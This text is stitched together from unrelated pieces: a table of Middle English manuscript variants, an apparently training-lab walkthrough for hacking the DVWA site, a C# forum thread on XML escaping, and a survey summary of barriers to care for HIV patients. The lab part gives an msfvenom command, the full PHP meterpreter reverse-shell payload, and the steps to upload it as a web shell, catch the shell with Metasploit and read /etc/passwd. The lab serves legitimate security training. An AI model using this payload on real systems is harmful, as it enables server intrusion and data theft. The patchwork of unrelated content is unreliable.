| 1220 | (L) | Ouer þe cyte were seyn sundrede tymes |
| (P) | ---- no text ---- | |
| 1167 | (U) | Oure the cite were sene / in sundri tyme |
| 260 | (V) | werin ouer þe Cite seen . many sundry tymes |


This exploit uses some of the basic functions of the DVWA web site to demonstrate how to hack through the site itself. A hacker would use this as a means of circumventing your perimeter to gain access to your applications, servers and data.
We will start by creating a pre-canned piece of php code that we will upload to the web server through the upload function on DVWA. For this exercise you will need to locate the external IP for your Kali server. This IP is generated dynamically for each student but we have written a script and an iRule on the CTF server to return the IP address you’ll need.
On the Kali server, run the following:
msfvenom -p php/meterpreter/reverse_tcp lport=4444 -f raw lhost=`curl -k https://ctf.f5lab.biz/whatismyip`
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 14 100 14 0 0 492 0 –:–:– –:–:– –:–:– 518
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 950 bytes
/*<?php /**/ error_reporting(0); $ip = ‘<YOUR-IP>’; $port = 4444; if (($f = ‘stream_socket_client’) && is_callable($f)) { $s = $f(“tcp://{$ip}:{$port}”); $s_type = ‘stream’; } elseif (($f = ‘fsockopen’) && is_callable($f)) { $s = $f($ip, $port); $s_type = ‘stream’; } elseif (($f = ‘socket_create’) && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = ‘socket’; } else { die(‘no socket funcs’); } if (!$s) { die(‘no socket’); } switch ($s_type) { case ‘stream’: $len = fread($s, 4); break; case ‘socket’: $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(“Nlen”, $len); $len = $a[‘len’]; $b = ”; while (strlen($b) < $len) { switch ($s_type) { case ‘stream’: $b .= fread($s, $len-strlen($b)); break; case ‘socket’: $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS[‘msgsock’] = $s; $GLOBALS[‘msgsock_type’] = $s_type; eval($b); die();
Highlight the section of code that was generated – from the “/*<?php” to the end “die;”
Open a Command prompt on the Windows PC. In the command prompt type:
CD Desktop
Notepad hackdvwa.php
In Notepad, paste the copied code and Save and Close the file.
Open a Web Browser and go to https://dvwa.vlab.f5demo.com
Log in with admin / password
Choose the Upload menu on the lower left
Click ‘Choose File’ and select the hackdvwa.php file you just created on the Desktop and click ‘Upload’
The file is then posted to the server and the location is displayed for you as a means of confirmation. You can copy this and paste it at the end of the URL in the browser.
In the browser, visit that file’s location: http://dvwa.vlab.f5demo.com/hackable/uploads/hackdvwa.php
This will actually fail and you should see a “no socket” message, but we’ll set that up next.
Back to the Kali ssh session we will set up the server to connect to from the web server.
If you’re not within msfconsole anymore, start it:
msfconsole
Now we want to choose an exploit to run.
use exploit/multi/handler
To see what is selected for this exploit by default, type:
options
Module options (exploit/multi/handler):
Name Current Setting Required Description
—- ————— ——– ———–
Exploit target:
Id Name
– —-
0 Wildcard Target
this selects the exploit we’ll run in Metasploit
set payload php/meterpreter/reverse_tcp
To see the options for this payload, type:
options
Module options (exploit/multi/handler):
Name Current Setting Required Description
—- ————— ——– ———–
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
– —-
0 Wildcard Target
This chooses the actual payload we’re going to send through the exploit and we’ll set some parameters. To see the options:
show options
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
—- ————— ——– ———–
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
– —-
0 Wildcard Target
Set the options as follows:
set lhost <IP_ADDRESS>
set lport 4444
These options are the ‘local’ listening IP and port for the exploit. Note that the IP here is the internal NAT’d IP address. In the above php code you entered the External NAT’d address.
Return to your web browser on the Windows PC and refresh the page.
Now we can start the server:
exploit
Exploit is the fun command… here we are running the exploit we want to see. You can also use ‘run’ but exploit is so much more Hacker.
After a few seconds, you should see:
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Starting the payload handler…
[*] Sending stage (33986 bytes) to <YOURIP>
[*] Meterpreter session 3 opened (<IP_ADDRESS>:4444 -> <IP>:PORT) at <Date>
And then a moment or two later:
meterpreter >
Meterpreter is the “Swiss Army Knife” of the Metasploit Framework. You can open a meterpreter console up through an exploit, like we just did. In this case, we set up Metasploit to listen for incoming traffic on port 4444 on our NAT’d internet address. We had to do this because the DMZ address isn’t accessible by the Web Server but it is allowed to connect to the internet. We then run the uploaded php code we generated which opens the connection and now we’re able to run commands on the web server as though we had an ssh-like connection.
Let’s examine the web server so see what we can find.
In the Meterpreter shell type:
dir
We can the following:
meterpreter > dir
Listing: /var/www/dvwa/hackable/uploads
Mode Size Type Last modified Name
—- —- —- ————- —-
100644/rw-r–r– 667 fil 2013-07-08 12:55:06 -0400 dvwa_email.png
100644/rw-r–r– 950 fil 2017-06-19 09:11:52 -0400 hackdvwa.php
100644/rw-r–r– 951 fil 2017-06-14 13:50:15 -0400 hackme.php.txt
We can see what accounts are on this server by typing:
cat /etc/passwd
To see a list of the commands that are available to you, you can type help at any point
Feel free to investigate the web server, when you’re finished type exit and the Meterpreter shell will close.
Note that when you close the session, the web page finally ends spinning.


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DataSet.WriteXml() doesn't escape special characters
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Hi,
I'm using a DataSet in which I occasionally store strings with "special character" (i.e. the &, or some accented vowels, like è, ì,à,...), but DataSet.WriteXml() doesn't escape them.
I.e.: if the DataSet contains the string " abc < & > abc", the XML I get contains exactly the same string and not something like " abc < & >"..
What I'm doing wrong?
I'm using the generated xml as input for a webservice, transforming it with an XSL stylesheet and deserializing the result in the webservice request object.
Thanks,
s.
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Answers
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Accented vowels are not special characters in terms of XML so they do not need to be escaped. The ampersand '&' is special in XML and needs to be escaped as '&', the less-than characters '<' needs to be escaped as '<' and WriteXml does that.
Here is a C# code sample writing your example:
Code Block
DataSet ds = new DataSet("Example"); DataTable t = new DataTable(); DataColumn c = new DataColumn("col1", typeof(string));t.Columns.Add(c);
ds.Tables.Add(t);
DataRow row = t.NewRow();row[
"col1"] = "abc < & > abc";t.Rows.Add(row);
ds.WriteXml(
Console.Out);/* result is
<Example>
<Table1>
<col1>abc < & > abc</col1>
</Table1>
</Example>*/
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Accented vowels are not special characters in terms of XML so they do not need to be escaped. The ampersand '&' is special in XML and needs to be escaped as '&', the less-than characters '<' needs to be escaped as '<' and WriteXml does that.
Here is a C# code sample writing your example:
Code Block
DataSet ds = new DataSet("Example"); DataTable t = new DataTable(); DataColumn c = new DataColumn("col1", typeof(string));t.Columns.Add(c);
ds.Tables.Add(t);
DataRow row = t.NewRow();row[
"col1"] = "abc < & > abc";t.Rows.Add(row);
ds.WriteXml(
Console.Out);/* result is
<Example>
<Table1>
<col1>abc < & > abc</col1>
</Table1>
</Example>*/
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Hi Martin,
yes, in fact that was a quite obscure behaviour to me.. ..I checked my webservice calls (I write the dataset xml on a memory stream, I transform it via XSLT and then I deserialize it in a webservice request object..), and now I believe there are some interoperability issues (the webservices are java/oracle based): when i send a request in which there is an "ì" I get a java exception as a response:
...(some stack trace)...
Caused by: javax.xml.bind.JAXBException
- with linked exception:
[java.io.UTFDataFormatException: Invalid UTF8 encoding.]
...(some stack trace)...
should I change something on RequestEncoding property on my webservice proxy class?
thanks,
s. -
The exception probably means that there is an XML declaration declaring UTF-8 as the encoding of the XML document but the characters are not properly encoded as UTF-8. So somewhere in your tool chain there is a problem with the encoding introduced. If you use WriteXml to the MemoryStream then make sure you pass the stream directly to the XmlReader or XPathDocument you pass to the Transform method. Don't try to use code to convert that stream to a string.
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According to HIV.gov, HIV (human immunodeficiency virus) is a virus that attacks the body's T cells, otherwise known as CD4 cells. These cells normally are used to fight off infections, and thus, patients with HIV have a harder time fighting infections due to having a weaker immune system. When a person's CD4 count reaches a certain number, then AIDS, Acquired Immunodeficiency Syndrome, can occur. While there currently is no cure for HIV, steps have been taken to improve the quality of life for patients and ensure that it is possible to get proper care.
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Barriers to Accessing HIV Case Management
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Barriers to Dental Care
Does age affect availability of dental services?
Patients ages 25-34 had the most difficulty accessing dental services
Age vs. Dental Care
Does drug use affect availability of dental services?
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Drug Use vs. Dental Care
Does education affect availability of dental services?
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Education vs. Dental Care
Does income affect availability of dental services?
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Income vs. Dental Care
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Method of HIV Transmission vs. Dental Care
Does ethnicity affect availability of dental services?
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Ethnicity vs. Dental Care
Does sexual orientation affect availability of dental services?

Sexual Orientation vs. Dental Care
What made it most difficult for patients to access counseling?
The top barrier to counseling is that respondents did not know where to get it.
Barriers to Accessing Counseling
What made it most difficult for patients to access information?
The top barrier is that respondents did not know where to get it.
Barriers to Accessing Information
What made it most difficult for patients to access alternative therapy?
The top barrier is that most respondents could not afford alternative therapy.
Barriers to Alternative Therapy
Does age affect access to alternative therapy?
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Age vs. Alternative Therapy
Does drug use affect access to alternative therapy?
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Drug Use vs. Alternative Therapy
Does education affect access to alternative therapy?
The majority of the respondents' highest level of education was "some college".
Education vs. Alternative Therapy
Does income affect access to alternative therapy?
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Income vs. Alternative Therapy
Does method of transmission affect access to alternative therapy?
The majority of respondents cited "sex with men" as the most likely way they received HIV.
Method of Transmission vs. Alternative Therapy
Does ethnicity affect access to alternative therapy?
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Ethnicity vs. Alternative Therapy
Does sexual orientation affect access to alternative therapy?
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Sexual Orientation vs. Alternative Therapy
What are the main barriers to accessing home aid?
The top barrier is that the service was unavailable.
Barriers to Accessing Home Aid
What are the main barriers to obtaining insurance?
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Barriers to Obtaining Insurance
What are the main barriers to paying medical costs?
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Barriers to Paying Medical Costs
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Barriers to Accessing Help With Addiction/Drug Abuse
What are the main barriers to accessing employment?
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Barriers to Accessing Employment
What are the main barriers to accessing education?
The top barrier to obtaining an education is that it is unavailable.
Barriers to Accessing Education
What are the main barriers to acquiring aid to purchase food?
The top barrier to assistance paying for food is that many did not qualify for this service.
Barriers to Accessing Food Assistance
What are the main barriers to accessing housing cost assistance?
The top barrier to assistance paying for housing is that many did not qualify for it.
Barriers to Accessing Housing Assistance
What are the main barriers to accessing aid for paying bills?
The top barrier to assistance paying for bills is that many did not qualify for this service.
Barriers to Accessing Bill Assistance
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What are the main barriers to accessing social support?
The top barrier is that it was unavailable.
Barriers to Accessing Social Support